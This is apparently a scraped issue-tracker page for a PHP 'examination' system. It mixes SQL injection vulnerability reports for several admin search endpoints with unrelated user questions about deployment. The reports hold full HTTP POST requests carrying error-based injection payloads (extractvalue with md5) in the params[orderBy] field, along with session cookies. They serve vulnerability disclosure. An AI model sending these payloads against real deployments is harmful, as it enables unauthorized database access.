Referer: http://192.168.3.129:8092/admin/admin/auth-assignment/index
X-Csrf-Token: 0nNavAQMO5OSOv5UKzFPV5ZBGRiQEzi45ig6yqwsnlPgKhvmdk5azPxotSccciAc1AhPedt7aumQaXucnXPLIw==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSortable_0=false&bSortable_1=false&bSortable_2=true&bSortable_3=false&iColumns=4&iDisplayLength=10&iDisplayStart=0&iSortingCols=0&mDataProp_0=user_id&mDataProp_1=item_name&mDataProp_2=created_at&mDataProp_3=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281446970635%29%29%29¶ms%5Buser_id%5D%5B%5D=1&sColumns=%2C%2C%2C&sEcho=2&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=
admin/admin/role/search has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/admin/role/search
URL /admin/admin/role/search
poc
extractvalue(1,concat(char(126),md5(1482967727)))
POST /admin/admin/role/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 807
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/role/index
X-Csrf-Token: LE-RjLmnAMB639Amo-OPfnuq_YuwKwlkQsQ9w-KTPXkeFtDWy-VhnxSNm1WUoOA1OeOr6vtDWzU0hXyV08xoCQ==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSortable_0=true&bSortable_1=true&bSortable_2=false&bSortable_3=false&bSortable_4=true&bSortable_5=true&bSortable_6=false&iColumns=7&iDisplayLength=10&iDisplayStart=0&iSortCol_0=4&iSortingCols=1&mDataProp_0=type&mDataProp_1=name&mDataProp_2=name&mDataProp_3=description&mDataProp_4=created_at&mDataProp_5=updated_at&mDataProp_6=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281482967727%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSortDir_0=desc
通用部署方案
请问下，可否出一个非composer部署的方案呀？composer部署好多问题
有没有thinkphp版本的？
有没有thinkphp版本的？
我是一名普通用户，还是不会具体的安装步骤
我是windows7的操作系统，使用upupw的绿色环境php5.5的环境。
看到您简单的安装表述还是不太会，能不能针对软件部署这块再细致一些呢？
希望能得到帮助，目前我一直没有部署好。
我把百度网盘中examination的目录整个拷贝到web环境下 之后就不知道该怎么做了，mysql已经部署好了，数据库这块没问题，就是不知道web 这块如何部署。
admin/admin/admin-log/search#params[orderBy] has sql injection vulnerability
Vulnerability Product:examination
Vulnerability type:sql injection
Vulnerability Details：admin/admin/admin-log/search
URL /admin/admin/admin-log/search
poc
ParamKey：params[orderBy]
Payload:extractvalue(1,concat(char(126),md5(1188456798)))
`
POST /admin/admin/admin-log/search HTTP/1.1
Host: 192.168.3.129:8092
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 886
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: ace_settings=%7B%22sidebar-collapsed%22%3A-1%7D; Hm_lvt_d3b3b1b968a56124689d1366adeacf8f=1678157952; Hm_lpvt_d3b3b1b968a56124689d1366adeacf8f=1678169014; PHPSESSID=s0dfimdr2smjmr3074qpav8po2; _admin=90cb44057f6077d07dc09f747754e4ea1023f1d289f128c441138467bbf77bb3a%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22_admin%22%3Bi%3A1%3Bs%3A46%3A%22%5B1%2C%22tGaaJtNH3SXtUEJtA6LIgNb0LQPEjste%22%2C2592000%5D%22%3B%7D; _csrf=d2ae05f533b7d5d759466c965771950e3a44d9703c618e14b02f805ca2430034a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%222YAZrBa_nRKs7CoKBIVaKhRQvAAV1_Up%22%3B%7D
Origin: http://192.168.3.129:8092
Referer: http://192.168.3.129:8092/admin/admin/admin-log/index
X-Csrf-Token: R6ndzOnb5xlYpYYY9EseUJepgP2FaLDbyLuPJO_9tBZ18JyWm5mGRjb3zWvDCHEb1eDWnM4A4oq--s5y3qLhZg==
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
bRegex=false&bRegex_0=false&bRegex_1=false&bRegex_2=false&bRegex_3=false&bRegex_4=false&bRegex_5=false&bRegex_6=false&bRegex_7=false&bSearchable_0=true&bSearchable_1=true&bSearchable_2=true&bSearchable_3=true&bSearchable_4=true&bSearchable_5=true&bSearchable_6=true&bSearchable_7=true&bSortable_0=false&bSortable_1=false&bSortable_2=false&bSortable_3=false&bSortable_4=false&bSortable_5=false&bSortable_6=true&bSortable_7=false&iColumns=8&iDisplayLength=10&iDisplayStart=0&iSortCol_0=6&iSortingCols=1&mDataProp_0=&mDataProp_1=admin_name&mDataProp_2=action&mDataProp_3=index&mDataProp_4=request&mDataProp_5=ip&mDataProp_6=created_at&mDataProp_7=¶ms%5BorderBy%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cmd5%281188456798%29%29%29&sColumns=%2C%2C%2C%2C%2C%2C%2C&sEcho=1&sSearch=&sSearch_0=&sSearch_1=&sSearch_2=&sSearch_3=&sSearch_4=&sSearch_5=&sSearch_6=&sSearch_7=&sSortDir_0=desc
`
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.